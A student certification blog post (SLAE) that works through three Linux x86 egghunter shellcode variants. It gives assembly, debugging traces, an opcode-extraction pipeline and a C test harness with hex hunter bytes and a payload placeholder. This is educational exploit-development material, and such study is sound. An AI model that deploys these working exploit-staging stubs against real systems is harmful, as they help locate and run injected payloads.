This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017
Challenge
- Study about the Egg Hunter shellcode
- Create a working demo of the Egghunter
- Should be configurable for different payloads
Link
- Github: https://github.com/timip/SLAE/blob/master/egghunter.c
- Reference: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
Assembly Code
Hunter 1: Access: Code
;
; Skape's egghunter: access(2)
;
global _start:
section .text
_start:
mov ebx, 0x50905090 ; Store EGG in ebx
xor ecx, ecx ; Zero out ECX
mul ecx ; Zero out EAX and EDX
IncPage: ; JMP to increment page number
or dx, 0xfff ; Align page address
IncAddr: ; JMP to increment address
inc edx ; Go to next address
pushad ; Push general registers onto stack
lea ebx, [edx+4] ; [edx+4] so we can compare [edx] and [edx+4] at the same time
mov al, 0x21 ; syscall for access()
int 0x80 ; call access() to check memory location [EBX]
cmp al, 0xf2 ; Did it return EFAULT?
popad ; Restore registers
jz IncPage ; access() returned EFAULT, skip page
cmp [edx], ebx ; initialized memory, check if EGG is in [edx]
jnz IncAddr ; EGG isn't in [edx], visit next address
cmp [edx+4], ebx ; EGG is found in [edx], is it in [edx+4] too?
jne IncAddr ; Boohoo! It wasn't. Visit next address
jmp edx ; [edx][edx+4] contain EGGEGG, we found our shellcode! Execute meaningless EGGEGG instructions then our payload
Hunter 2: Access Revisit: Problem
Program throw SegFault
error during execution.
Hunter 2: Access Revisit: Strace Code
Discovered syscall access
throw an EINVAL
error which is different from the previous access egghunter.
> strace egghunter_access2_notworking
strace: Can't stat 'egghunter_access2_notworking': No such file or directory
[email protected]:~/SLAE/ass3/binary# strace ./egghunter_access2_notworking
execve("./egghunter_access2_notworking", ["./egghunter_access2_notworking"], [/* 18 vars */]) = 0
brk(NULL) = 0x8d53000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb770a000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=99825, ...}) = 0
mmap2(NULL, 99825, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb76f1000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\320\207\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1786484, ...}) = 0
mmap2(NULL, 1792540, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb753b000
mmap2(0xb76eb000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1af000) = 0xb76eb000
mmap2(0xb76ee000, 10780, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ee000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7732000
set_thread_area({entry_number:-1, base_addr:0xb7732940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76eb000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0xb7733000, 4096, PROT_READ) = 0
munmap(0xb76f1000, 99825) = 0
fstat64(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 18), ...}) = 0
brk(NULL) = 0x8d53000
brk(0x8d74000) = 0x8d74000
write(1, "Hunter size: 35\n", 16Hunter size: 35
) = 16
write(1, "Shellcode size: 35\n", 19Shellcode size: 35
) = 19
write(1, "Egg is at 0x804a040\n", 20Egg is at 0x804a040
) = 20
access(0x1004, R_OK|0x7fffffe8) = -1 EINVAL (Invalid argument)
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x1000} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
access(0x1004, R_OK|0x7fffffe8) = -1 EINVAL (Invalid argument)
# cat /usr/include/unistd.h | grep -i _OK
#define R_OK 4 /* Test for read permission. */
#define W_OK 2 /* Test for write permission. */
#define X_OK 1 /* Test for execute permission. */
#define F_OK 0 /* Test for existence. */
Reviewed man page for access, we have identified it is related to incorrect mode setting.
EINVAL mode was incorrectly specified.
Reviewed the register values just before/after syscall access. We found the only difference is ECX
. We guess ECX
is for mode setting.
Hunter 1: access | Hunter 2: access revisit | |
---|---|---|
Before syscall access | eax 0x21 33 ecx 0x0 0 edx 0x1000 4096 ebx 0x1004 4100 esp 0xbffff69c 0xbffff69c ebp 0xbffff6d8 0xbffff6d8 esi 0xb7fb8000 -1208254464 edi 0xb7fb8000 -1208254464 eip 0x804a095 0x804a095 <hunter+21> eflags 0x216 [ PF AF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
eax 0x21 33 ecx 0x7fffffec 2147483628 edx 0x1000 4096 ebx 0x1004 4100 esp 0xbffff6cc 0xbffff6cc ebp 0xbffff6e8 0xbffff6e8 esi 0xb7fb8000 -1208254464 edi 0xb7fb8000 -1208254464 eip 0x804a08e 0x804a08e <hunter+14> eflags 0x216 [ PF AF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
After syscall access | eax 0xfffffff2 -14 ecx 0x0 0 edx 0x1000 4096 ebx 0x1004 4100 esp 0xbffff69c 0xbffff69c ebp 0xbffff6d8 0xbffff6d8 esi 0xb7fb8000 -1208254464 edi 0xb7fb8000 -1208254464 eip 0x804a097 0x804a097 <hunter+23> eflags 0x216 [ PF AF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
eax 0xffffffea -22 |
Code
We added instructuion to clear ecx
at beginning of code. It fixed the problem.
;
; Skape's egghunter: access(2) revised
;
global _start
section .text
_start:
xor edx, edx ; EDX = 0
xor ecx, ecx
IncPage:
or dx, 0xfff ; Align page address
IncAddr:
inc edx ; Go to next address
lea ebx, [edx+0x4] ; [edx+4] so we can compare [edx] and [edx+4] at the same time
push byte 0x21 ; syscall for access()
pop eax
int 0x80 ; call access() to check memory location [EBX]
cmp al, 0xf2 ; Did it return EFAULT?
jz IncPage ; It did, skip page
mov eax, 0x50905090 ; Store EGG in EAX
mov edi, edx ; Move EDX to EDI for scasd operation
scasd ; Check if [EDI] == EAX then increment EDI
jnz IncAddr ; It isn't, increment address
scasd ; Check if [EDI] == EAX then increment EDI
jnz IncAddr ; It isn't, increment address
jmp edi ; We found our Egg! JMP to EDI, which points directly to our shellcode
Hunter 3: sigaction: Problem
Program triggers Segfault when $ecx
/$edi
equals to 0x0
.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/SLAE/ass3/binary/egghunter-sigcheck-notworking
Hunter size: 30
Shellcode size: 30
Egg is at 0x804a040
i
Program received signal SIGSEGV, Segmentation fault.
Dump of assembler code from 0x804a07e to 0x804a088:
=> 0x0804a07e <hunter+22>: scas eax,DWORD PTR es:[edi]
0x0804a07f <hunter+23>: jne 0x804a06d <hunter+5>
0x0804a081 <hunter+25>: scas eax,DWORD PTR es:[edi]
0x0804a082 <hunter+26>: jne 0x804a06d <hunter+5>
0x0804a084 <hunter+28>: jmp edi
0x0804a086 <hunter+30>: add BYTE PTR [eax],al
End of assembler dump.
eax 0x50905090 1351635088
ecx 0x0 0
edx 0xb7fb9870 -1208248208
ebx 0x0 0
esp 0xbffff68c 0xbffff68c
ebp 0xbffff6a8 0xbffff6a8
esi 0xb7fb8000 -1208254464
edi 0x0 0
eip 0x804a07e 0x804a07e <hunter+22>
eflags 0x10283 [ CF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Hunter 3: sigaction: Code
In that case, we fixed the problem by adding the bypass code (for $ecx=0
) as shown below.
;
; egghunter by sigaction
; By skape
;
global _start:
section .text
_start:
align_page:
or cx,0xfff ; page alignment
next_address:
inc ecx
jnz not_null
inc ecx
not_null:
push byte +0x43 ; sigaction(2)
pop eax ; store syscall identifier in eax
int 0x80 ; call sigaction(2)
cmp al,0xf2 ; did we get an EFAULT?
jz align_page ; invalid pointer - try with the next page
mov eax, 0x50905090 ; place the egg in eax
mov edi, ecx ; address to be validated
scasd ; compare eax / edi and increment edi by 4 bytes
jnz next_address ; no match - try with the next address
scasd ; first 4 bytes matched, what about the other half?
jnz next_address ; no match - try with the next address
jmp edi ; egg found! jump to our payload
Final
Command to generate shellcode
nasm -f elf32 -o sigaction.o sigaction.nasm -g
ld -o sigaction sigaction.o
objdump -d ./sigaction |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
C Program
/*
egghunter.c
Tim Ip
*/
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x90\x50\x90\x50\x90\x50\x90\x50" //egg
"PUT YOUR SHELLCODE HERE";
// Hunter 1: access
// unsigned char hunter[] = "\xbb\x90\x50\x90\x50\x31\xc9\xf7\xe1\x66\x81\xca\xff\x0f\x42\x60\x8d\x5a\x04\xb0\x21\xcd\x80\x3c\xf2\x61\x74\xed\x39\x1a\x75\xee\x39\x5a\x04\x75\xe9\xff\xe2";
// Hunter 2: access-revisit (not working - Incorrect mode / non-zero ECX)
// unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
// Hunter 2: access-revisit (working - zeroed ECX)
// unsigned char hunter[] = "\x31\xd2\x31\xc9\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
// Hunter 3: sigaction (not working - SegFault at ECX=0x0)
// unsigned char hunter[] = "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
// Hunter 3: sigaction (working - bypass ECX=0x0)
unsigned char hunter[] = "\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
int main() {
printf("Hunter size: %d\n", strlen(hunter));
printf("Shellcode size: %d\n", strlen(hunter));
printf("Egg is at %p\n", shellcode);
int (*ret)() = (int(*)())hunter;
ret();
}